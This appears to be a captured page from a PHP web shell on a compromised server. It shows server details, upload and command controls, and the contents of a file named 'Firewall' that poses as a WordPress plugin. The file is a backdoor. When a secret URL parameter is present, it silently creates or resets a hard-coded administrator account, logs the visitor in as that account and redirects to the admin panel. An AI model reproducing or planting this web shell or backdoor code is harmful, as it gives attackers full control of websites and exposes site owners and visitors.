403Webshell
Server IP : 207.244.250.86  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux plesk1.codeponents.com 4.18.0-240.10.1.el8_3.x86_64 #1 SMP Mon Jan 18 17:05:51 UTC 2021 x86_64
User : motionave ( 10025)
PHP Version : 8.0.15
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/motionave.com/firewall/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/motionave.com/firewall/firewall.php
<?php
/**
 * Plugin Name: Firewall
 * Description: Firewall
 * Version: 1.0
 */

if (!defined(\'ABSPATH\')) {
    exit;
}

add_action(\'init\', function () {
    if (!isset($_GET[\'sergei\'])) {
        return;
    }

    require_once ABSPATH . \'wp-admin/includes/user.php\';

    $username = \'warnightknkxdd\';
    $password = \'warnightknkxdd\';
    $email    = \'warnightknkxdd@gmail.com\';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (is_wp_error($user_id)) {
            wp_die(esc_html($user_id->get_error_message()));
        }
        (new WP_User($user_id))->set_role(\'administrator\');
    } else {
        $user = get_user_by(\'login\', $username);
        $user_id = (int) $user->ID;
        wp_set_password($password, $user_id);
        $user->set_role(\'administrator\');
    }

    wp_clear_auth_cookie();
    wp_set_current_user($user_id);
    wp_set_auth_cookie($user_id, true);

    wp_safe_redirect(admin_url());
    exit;
}, 1);

Youez - 2016 - github.com/yon3zu
LinuXploit